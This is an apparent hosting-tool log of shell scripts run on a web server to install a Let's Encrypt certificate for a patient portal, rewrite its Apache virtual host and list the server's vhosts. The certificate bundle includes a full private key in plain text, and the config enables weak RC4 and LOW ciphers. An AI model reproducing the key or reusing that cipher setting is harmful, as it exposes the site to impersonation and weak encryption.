MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-24 11:02:48: Establishing a connection
2026-03-24 11:02:48: Establishing a connection
2026-03-24 11:02:48: 

PUT: /tmp/pkp348535

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-24 11:02:48: 

chmod 755 /tmp/pkp348535; /tmp/pkp348535; rm /tmp/pkp348535

2026-03-24 11:02:48: 


0


2026-03-24 11:03:17: Establishing a connection
2026-03-24 11:03:17: 

PUT: /tmp/pkp613189

#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt

cat > $temp_file <<'endmsg'
e6:6c:c8:01:b2:cb:8e:b7:28:46:23:28:d1:0b:18:70

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBTk5AMQS4DUCmUK7IbGInkwIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzI0MTAwNDQ2WhcNMjYwNjIyMTAwNDQ1WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAs1lpOf0D9tXba4Nfa2TilQhB0HXvaLv4HBD+rYQw18FB8fhqS+zP
c+YPFCQbtzKqYhyFM+xNIN1cNaXG1bksI/1+3Cdq8c4C7p952yZnWHNP0TsvlXWt
kRpRrwX6vo8+7rZflpgUaQ+N298PDEQ09H9f7M6fJMcKuLqEtdlYiKmOLyAB331+
Q53dEQxEavBIuEBrpjYxQlDKkEaPy3aU7jNjrFBeT1WG7312ZaR8Fvbh7zTTIbch
gWTJvwGow146z6oughmwo9kY1QVTspSvyjvZNicUjT+DeHlFvAuw+nN2b5YeZlJ6
ODAQ/tO6i1k4o7SjTlpPDn4eb33uIZ/7WQIDAQABo4ICODCCAjQwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBXSn0o5GL3sjejLLtFyMp6E4kgPMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wNwYDVR0RBDAwLoIUbGl2ZS5wYXRpZW50YXBwcy5uZXSC
FnBvcnRhbC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85LmNybDCCAQsG
CisGAQQB1nkCBAIEgfwEgfkA9wB2AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL7
6esp3fjDAAABnR+DXzIAAAQDAEcwRQIgASONcdzBeRGS/HOHRcJRA4582G/VFBSZ
Jn/S5OAhyHECIQDrhF6x8JwhuX76s3tX/cVGDLqnqtKmq2ixLyUyztVhUQB9AGz+
UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnR+DYZ8ACAAABQAENwlZ
BAMARjBEAiBEL7YSoaaD2O9qjlTEYXytUkw27gfhB5s/bposNWIALAIgX4wC9UIL
zbtM9nOIdadmyT5ldokAwEB6Vq6kTyMpZvYwDQYJKoZIhvcNAQELBQADggEBANKE
2UUjqWlgYtPa/7wEOgfBqdlB9KK2w6wvs4twkViYqGoNYIwhUQHx0wYKwrkPo6IG
oYU5EUOmo/xALotqcOa1+Sd0bmNhv9Iyh1RC/xOdaK8YttfdxA3WygyD0AC/RIiu
2u2tJbPIKlpWlvuuUhtAX2us8BdS29gjrdwvJhbV0wYrXgki6TvGj5T2DFtdnSo/
7j9bXq/4LEh+O9GjeE2ZRb6H1I8TlMDWfFZWuTNIeGQmXrc+/QrOnKJx+A73E0IO
ifR43mMJUm9808YswUyr36v2Qet7xRFfPNl/Bt/M0etFvRCQhbruLMT9o+DdaKel
cZNuZeSYegRjdq77ViU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCzWWk5/QP21dtr
g19rZOKVCEHQde9ou/gcEP6thDDXwUHx+GpL7M9z5g8UJBu3MqpiHIUz7E0g3Vw1
pcbVuSwj/X7cJ2rxzgLun3nbJmdYc0/ROy+Vda2RGlGvBfq+jz7utl+WmBRpD43b
3w8MRDT0f1/szp8kxwq4uoS12ViIqY4vIAHffX5Dnd0RDERq8Ei4QGumNjFCUMqQ
Ro/LdpTuM2OsUF5PVYbvfXZlpHwW9uHvNNMhtyGBZMm/AajDXjrPqi6CGbCj2RjV
BVOylK/KO9k2JxSNP4N4eUW8C7D6c3Zvlh5mUno4MBD+07qLWTijtKNOWk8Ofh5v
fe4hn/tZAgMBAAECggEAN4SC9UdkNcGHlaVqITVuilGvBdesD5C4Qf/kxlO4RuF1
B3EtfmlE4oyhuEthJPmTEqHffe41BepgA99YSIp0poNvBLlS+p0Z/UHyl6swrImt
eIhIt4xg+RzbkkFYmCqBgaWEu3pCPy9oa1qGLvbiKZlQWV6wltLid8KNGDm6lTra
mrCYcywpPiEnlcnT3sy59UinIJ4j8dIhCj8R8WsZZ+r3f/j0a2l+bc9jFgMXYHrq
75TJ7kMXbnOEc6GWCVLHHFAnCeBvAkAIZRqcSe4Jx7ZP/fEf36T4BZ0jLoaQKYJ7
O+h76NiihrLsYYW1roEev6NIJ+tQY3b0mdIaKIGKzQKBgQDfMBCF3woWmRfXRtyV
RUqR2Uqonbi1NlwNj8ZDGOFBGElnogpo2HH5mL8Urr5R7Rq+6t2KpbZI3P312YDv
SeRI3KhpTXmEr2Ea9HxA1b0iZO+fGCzExBrsFosAKfpq2MKXhGoCNTk1sYv9PTZB
ggYX4UPWVcG6LL2JLY9T0A25twKBgQDNt27YAlx1YROPXKlVuLNe/h77kABZJ+fu
jT0Tg94XI21khonk51zFfTvT4qjEzRgylRiV/TiDHe9kENXxuxWehkD2IPWdp8h0
VENzPTie5rqVTFaVYciKYLEsbOH7cHZyy3ol11Ii7h99O3Mbx6iKz93k0XvrjSaU
t776sbszbwKBgGxRyIMgd6X2EUMTCjWMFp/ohLqHKcERK+YNFF02MwTDw8R/OWwf
OFm6D2r7UDU0zRlBpdoHiQud7cenE1OPWjMenMHWrxZ9g7RwWemhkpShxkZBlmC9
CI/ydO3UccvvfanJwyVlLWnozJdQYQe0Ej7+vkzE/CveUPLF4Nz9idvLAoGAWNtm
0X8TmM/5tu77Zb+GGv4BPAATZm9KS0xOmWNYRv5Sfh1u6qTU+akCcp9w7rD4RsEI
AaGDC3+eq8Zp4yRATl0HKklKTnLurvDGwbwr/NcEuQBkVdoK2VqyrNHLOuR1BVjG
xhmfrN7WUy2ept0y++KVogSqVjB9/bbwkzC5/5kCgYEAqOMMBaN6qQ2uYrHfOVbR
da/O2cL5LT7XvGkMQSdD8tZJHKo5/x/NU/3hFFgI6wsF7feq0FFcAZQ99FcSBVZT
4XmA5Jzu6X3Nqv0W6abXqDAoqrqWoejIWgxwtfHBUDSf1HNV1+5HdgLt/lZftEnV
J66SOD5CuURsKvZbkSjsqGc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-24 11:03:18: 

chmod 755 /tmp/pkp613189; /tmp/pkp613189; rm /tmp/pkp613189

2026-03-24 11:03:18: 


dir=/etc/ssl/certs


2026-03-24 11:03:18: 

PUT: /tmp/pkp908637

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-24 11:03:18: 

chmod 755 /tmp/pkp908637; /tmp/pkp908637; rm /tmp/pkp908637

2026-03-24 11:03:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-24 11:03:18: 

PUT: /tmp/pkp500933

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi


2026-03-24 11:03:18: 

chmod 755 /tmp/pkp500933; /tmp/pkp500933; rm /tmp/pkp500933

2026-03-24 11:03:18: 




2026-03-24 11:03:18: 

PUT: /tmp/pkp375163

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-24 11:03:18: 

chmod 755 /tmp/pkp375163; /tmp/pkp375163; rm /tmp/pkp375163

2026-03-24 11:03:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-24 11:03:18: Establishing a connection
2026-03-24 11:03:18: 

PUT: /tmp/pkp373862

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-24 11:03:18: 

chmod 755 /tmp/pkp373862; /tmp/pkp373862; rm /tmp/pkp373862

2026-03-24 11:03:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
